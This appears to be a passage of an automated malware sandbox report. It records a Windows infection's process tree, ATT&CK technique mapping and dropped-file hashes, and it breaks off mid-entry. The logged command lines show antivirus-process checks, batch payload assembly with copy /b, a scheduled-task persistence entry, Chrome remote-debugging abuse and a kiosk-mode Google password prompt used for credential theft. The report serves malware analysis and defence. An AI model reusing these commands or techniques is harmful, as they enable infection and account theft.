      - C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:2684
- - C:\Users\Admin\AppData\Local\Temp\10348230101\70252e1076.exe
    "C:\Users\Admin\AppData\Local\Temp\10348230101\70252e1076.exe"
    3⤵
    - Executes dropped EXE
    PID:2568
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2568 -s 64
      4⤵
      Loads dropped DLL
      PID:2648
- - C:\Users\Admin\AppData\Local\Temp\10348240101\5fc49234ef.exe
    "C:\Users\Admin\AppData\Local\Temp\10348240101\5fc49234ef.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:2948
- - C:\Users\Admin\AppData\Local\Temp\10348250101\a2f56c2479.exe
    "C:\Users\Admin\AppData\Local\Temp\10348250101\a2f56c2479.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:2976
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
      4⤵
      Uses browser remote debugging
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:704
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6b29758,0x7fef6b29768,0x7fef6b29778
        5⤵
        
        PID:2276
    - - C:\Windows\system32\ctfmon.exe
        
        ctfmon.exe
        5⤵
        
        PID:2432
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1136 --field-trial-handle=1276,i,16287325813089963710,13135198491542938884,131072 /prefetch:2
        5⤵
        
        PID:1512
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1484 --field-trial-handle=1276,i,16287325813089963710,13135198491542938884,131072 /prefetch:8
        5⤵
        
        PID:2560
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1576 --field-trial-handle=1276,i,16287325813089963710,13135198491542938884,131072 /prefetch:8
        5⤵
        
        PID:2380
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2112 --field-trial-handle=1276,i,16287325813089963710,13135198491542938884,131072 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:2208
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2376 --field-trial-handle=1276,i,16287325813089963710,13135198491542938884,131072 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:1880
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2408 --field-trial-handle=1276,i,16287325813089963710,13135198491542938884,131072 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:2384
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1448 --field-trial-handle=1276,i,16287325813089963710,13135198491542938884,131072 /prefetch:2
        5⤵
        
        PID:1788
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
      4⤵
      Uses browser remote debugging
      PID:3496
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef5319758,0x7fef5319768,0x7fef5319778
        5⤵
        
        PID:3508
    - - C:\Windows\system32\ctfmon.exe
        
        ctfmon.exe
        5⤵
        
        PID:3632
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1168 --field-trial-handle=1324,i,9269180251178384215,9605335151098247855,131072 /prefetch:2
        5⤵
        
        PID:3684
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1492 --field-trial-handle=1324,i,9269180251178384215,9605335151098247855,131072 /prefetch:8
        5⤵
        
        PID:3708
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1604 --field-trial-handle=1324,i,9269180251178384215,9605335151098247855,131072 /prefetch:8
        5⤵
        
        PID:3728
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2332 --field-trial-handle=1324,i,9269180251178384215,9605335151098247855,131072 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:3860
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2296 --field-trial-handle=1324,i,9269180251178384215,9605335151098247855,131072 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:3948
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2612 --field-trial-handle=1324,i,9269180251178384215,9605335151098247855,131072 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:3964
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1168 --field-trial-handle=1324,i,9269180251178384215,9605335151098247855,131072 /prefetch:2
        5⤵
        
        PID:3292
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3760 --field-trial-handle=1324,i,9269180251178384215,9605335151098247855,131072 /prefetch:8
        5⤵
        
        PID:3772
- - C:\Users\Admin\AppData\Local\Temp\10348260101\befe9e811c.exe
    "C:\Users\Admin\AppData\Local\Temp\10348260101\befe9e811c.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:2172
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM firefox.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1076
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM chrome.exe /T
      4⤵
      Kills process with taskkill
      PID:2656
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM msedge.exe /T
      4⤵
      Kills process with taskkill
      PID:1416
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM opera.exe /T
      4⤵
      Kills process with taskkill
      PID:1924
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM brave.exe /T
      4⤵
      Kills process with taskkill
      PID:2556
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
      4⤵
      PID:1368
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        5⤵
        
        PID:1608
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1608.0.1265819761\2059982011" -parentBuildID 20221007134813 -prefsHandle 1220 -prefMapHandle 1212 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {1690df0d-6c92-4d4a-a00b-c6b2539a1472} 1608 "\\.\pipe\gecko-crash-server-pipe.1608" 1284 11ef6558 gpu
        6⤵
        
        PID:2716
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1608.1.1158425703\1030005151" -parentBuildID 20221007134813 -prefsHandle 1488 -prefMapHandle 1484 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {7be73757-5cfc-4c70-9e8a-a6c754433680} 1608 "\\.\pipe\gecko-crash-server-pipe.1608" 1500 e71858 socket
        6⤵
        
        PID:2300
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1608.2.1112779398\434790033" -childID 1 -isForBrowser -prefsHandle 2096 -prefMapHandle 1980 -prefsLen 21811 -prefMapSize 233444 -jsInitHandle 848 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d26e829f-460b-4ed4-b1fa-8c1c8970bd99} 1608 "\\.\pipe\gecko-crash-server-pipe.1608" 2108 19da8e58 tab
        6⤵
        
        PID:2924
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1608.3.656106309\1362634646" -childID 2 -isForBrowser -prefsHandle 2920 -prefMapHandle 2916 -prefsLen 26216 -prefMapSize 233444 -jsInitHandle 848 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {756d6318-66a1-4202-9b02-3d46f266ce2d} 1608 "\\.\pipe\gecko-crash-server-pipe.1608" 2932 1ce4d758 tab
        6⤵
        
        PID:976
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1608.4.963731226\1501387521" -childID 3 -isForBrowser -prefsHandle 3736 -prefMapHandle 3716 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 848 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3b9f5e10-08eb-4d91-b682-b2e1d78f6bc9} 1608 "\\.\pipe\gecko-crash-server-pipe.1608" 3840 21a70c58 tab
        6⤵
        
        PID:2032
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1608.5.91575188\1958883639" -childID 4 -isForBrowser -prefsHandle 3956 -prefMapHandle 3960 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 848 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b869ee5e-32de-4414-9f96-2ddf09246bc5} 1608 "\\.\pipe\gecko-crash-server-pipe.1608" 3944 21a70f58 tab
        6⤵
        
        PID:2712
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1608.6.74384886\883496247" -childID 5 -isForBrowser -prefsHandle 4108 -prefMapHandle 3736 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 848 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5c567246-9b23-4fca-b323-b9d197063c32} 1608 "\\.\pipe\gecko-crash-server-pipe.1608" 4204 21741b58 tab
        6⤵
        
        PID:3064
- - C:\Users\Admin\AppData\Local\Temp\10348270101\877796e01b.exe
    "C:\Users\Admin\AppData\Local\Temp\10348270101\877796e01b.exe"
    3⤵
    PID:3276
- - C:\Users\Admin\AppData\Local\Temp\10348280101\eb0385c845.exe
    "C:\Users\Admin\AppData\Local\Temp\10348280101\eb0385c845.exe"
    3⤵
    PID:3780
- - C:\Users\Admin\AppData\Local\Temp\10348290101\WLbfHbp.exe
    "C:\Users\Admin\AppData\Local\Temp\10348290101\WLbfHbp.exe"
    3⤵
    PID:4436
  - - C:\Windows\SysWOW64\CMD.exe
      "C:\Windows\system32\CMD.exe" /c copy Edit.vss Edit.vss.bat & Edit.vss.bat
      4⤵
      PID:4520
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:4728
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        5⤵
        
        PID:4736
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:4816
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        5⤵
        
        PID:4824
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 267978
        5⤵
        
        PID:4868
    - - C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Spanish.vss
        5⤵
        
        PID:4884
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "East" Removed
        5⤵
        
        PID:5100
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 267978\Exam.com + Vermont + Conflict + Remarks + Safer + Districts + Eddie + Awful + Garage + Sexually + Mitsubishi + Freeware 267978\Exam.com
        5⤵
        
        PID:3816
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Austin.vss + ..\Canal.vss + ..\Cottage.vss + ..\Engineers.vss + ..\Racks.vss + ..\Spy.vss + ..\Weekends.vss + ..\Shirt.vss + ..\Fields.vss + ..\Flyer.vss + ..\Strengthening.vss + ..\Floors.vss j
        5⤵
        
        PID:4212
    - - C:\Users\Admin\AppData\Local\Temp\267978\Exam.com
        
        Exam.com j
        5⤵
        
        PID:4252
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        5⤵
        
        PID:3732
- - C:\Users\Admin\AppData\Local\Temp\10348300101\BIm18E9.exe
    "C:\Users\Admin\AppData\Local\Temp\10348300101\BIm18E9.exe"
    3⤵
    PID:4040
- - C:\Users\Admin\AppData\Local\Temp\10348310101\7IIl2eE.exe
    "C:\Users\Admin\AppData\Local\Temp\10348310101\7IIl2eE.exe"
    3⤵
    PID:3248
  - - C:\Windows\SysWOW64\CMD.exe
      "C:\Windows\system32\CMD.exe" /c copy Expectations.cab Expectations.cab.bat & Expectations.cab.bat
      4⤵
      PID:3308
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:3236
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        5⤵
        
        PID:4092
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:4536
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        5⤵
        
        PID:4268
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 418377
        5⤵
        
        PID:1404
    - - C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Leon.cab
        5⤵
        
        PID:3156
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "BEVERAGES" Compilation
        5⤵
        
        PID:3192
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 418377\Passwords.com + Playing + New + Realized + Uw + Jpeg + Badly + Asbestos + Seeds + Service + Basis + Via 418377\Passwords.com
        5⤵
        
        PID:3160
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Pendant.cab + ..\Visitor.cab + ..\Illegal.cab + ..\Suddenly.cab + ..\Theology.cab + ..\Kidney.cab + ..\Flying.cab + ..\Tigers.cab N
        5⤵
        
        PID:3672
    - - C:\Users\Admin\AppData\Local\Temp\418377\Passwords.com
        
        Passwords.com N
        5⤵
        
        PID:3720
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        5⤵
        
        PID:3296
- - C:\Users\Admin\AppData\Local\Temp\10348320101\FjbTOQC.exe
    "C:\Users\Admin\AppData\Local\Temp\10348320101\FjbTOQC.exe"
    3⤵
    PID:2528
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "MsWin32tart" /tr "C:\Users\Admin\AppData\Roaming\MsWin32tart.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4408
- - C:\Users\Admin\AppData\Local\Temp\10348330101\kDveTWY.exe
    "C:\Users\Admin\AppData\Local\Temp\10348330101\kDveTWY.exe"
    3⤵
    PID:4624
- - C:\Users\Admin\AppData\Local\Temp\10348340101\TbV75ZR.exe
    "C:\Users\Admin\AppData\Local\Temp\10348340101\TbV75ZR.exe"
    3⤵
    PID:4728
  - - C:\Windows\SysWOW64\CMD.exe
      "C:\Windows\system32\CMD.exe" /c copy Edit.vss Edit.vss.bat & Edit.vss.bat
      4⤵
      PID:4816
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:4724
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        5⤵
        
        PID:4756
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:4836
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        5⤵
        
        PID:4820
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 267978
        5⤵
        
        PID:4900
    - - C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Spanish.vss
        5⤵
        
        PID:4924
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "East" Removed
        5⤵
        
        PID:5116
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 267978\Exam.com + Vermont + Conflict + Remarks + Safer + Districts + Eddie + Awful + Garage + Sexually + Mitsubishi + Freeware 267978\Exam.com
        5⤵
        
        PID:4104
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Austin.vss + ..\Canal.vss + ..\Cottage.vss + ..\Engineers.vss + ..\Racks.vss + ..\Spy.vss + ..\Weekends.vss + ..\Shirt.vss + ..\Fields.vss + ..\Flyer.vss + ..\Strengthening.vss + ..\Floors.vss j
        5⤵
        
        PID:4212
    - - C:\Users\Admin\AppData\Local\Temp\267978\Exam.com
        
        Exam.com j
        5⤵
        
        PID:4136
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        5⤵
        
        PID:4264
- - C:\Users\Admin\AppData\Local\Temp\10348350101\7b35p_003.exe
    "C:\Users\Admin\AppData\Local\Temp\10348350101\7b35p_003.exe"
    3⤵
    PID:712
- - C:\Users\Admin\AppData\Local\Temp\10348360101\oalJJxv.exe
    "C:\Users\Admin\AppData\Local\Temp\10348360101\oalJJxv.exe"
    3⤵
    PID:3904
- - C:\Users\Admin\AppData\Local\Temp\10348370101\EPTwCQd.exe
    "C:\Users\Admin\AppData\Local\Temp\10348370101\EPTwCQd.exe"
    3⤵
    PID:3848
- - C:\Users\Admin\AppData\Local\Temp\10348380101\q4jfn3p.exe
    "C:\Users\Admin\AppData\Local\Temp\10348380101\q4jfn3p.exe"
    3⤵
    PID:3204
- - C:\Users\Admin\AppData\Local\Temp\10348390101\0968714335.exe
    "C:\Users\Admin\AppData\Local\Temp\10348390101\0968714335.exe"
    3⤵
    PID:3176
  - - C:\Users\Admin\AppData\Local\Temp\svchost015.exe
      "C:\Users\Admin\AppData\Local\Temp\10348390101\0968714335.exe"
      4⤵
      PID:3660
- - C:\Users\Admin\AppData\Local\Temp\10348400101\36aabcefca.exe
    "C:\Users\Admin\AppData\Local\Temp\10348400101\36aabcefca.exe"
    3⤵
    PID:4316
  - - C:\Users\Admin\AppData\Local\Temp\svchost015.exe
      "C:\Users\Admin\AppData\Local\Temp\10348400101\36aabcefca.exe"
      4⤵
      PID:2564

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:2504

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:4032

C:\Users\Admin\AppData\Local\Temp\267978\Exam.com
"C:\Users\Admin\AppData\Local\Temp\267978\Exam.com"
1⤵
PID:3420

C:\Users\Admin\AppData\Local\Temp\10348300101\BIm18E9.exe
"C:\Users\Admin\AppData\Local\Temp\10348300101\BIm18E9.exe"
1⤵
PID:4440

C:\Windows\system32\taskeng.exe
taskeng.exe {B5845D07-8D99-44E1-A947-E4A0D6D3A28E} S-1-5-21-4177215427-74451935-3209572229-1000:JSMURNPT\Admin:Interactive:[1]
1⤵
PID:4800
- C:\Users\Admin\AppData\Roaming\MsWin32tart.exe
  C:\Users\Admin\AppData\Roaming\MsWin32tart.exe
  2⤵
  PID:4828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Modify Authentication Process

T1556

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Authentication Process

T1556

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Temp\FG51KLu0b.hta

Filesize
779B

MD5
39c8cd50176057af3728802964f92d49

SHA1
68fc10a10997d7ad00142fc0de393fe3500c8017

SHA256
f685edf8437c0b505f5e366d8b1cb79e7770361cc4906240e7f8c8ad32c94e84

SHA512
cf563b2b5a3553acf3a91298936b904abf87620c2fc582bcdb45dec5d4b877bef5ae81feae4b741e1aee1a916e543b5f6914d9c494d2aa33bc6f15c6fc904cc6

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

Filesize
40B

MD5
1d6994c9e7456e30a9c2dcecdc184047

SHA1
ad85ecf6f00da14dbde2b4b22e52809a02ad11cb

SHA256
32d641a0b1a4d012ac26b4511e84b1ce3a0c129fccd4e85a78a31d46b14f1a8d

SHA512
45820fc375361f0518efc53e283a5421a58ace75b2d4d94c9a190ac75a3b3717b9b797e8d27cec3014fcc9e9ea27f2ffc586777d8d658e0e24d379fe7604c607

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\000007.dbtmp

Filesize
16B

MD5
18e723571b00fb1694a3bad6c78e4054

SHA1
afcc0ef32d46fe59e0483f9a3c891d3034d12f32

SHA256
8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa

SHA512
43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Guest Profile\Site Characteristics Database\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version

Filesize
14B

MD5
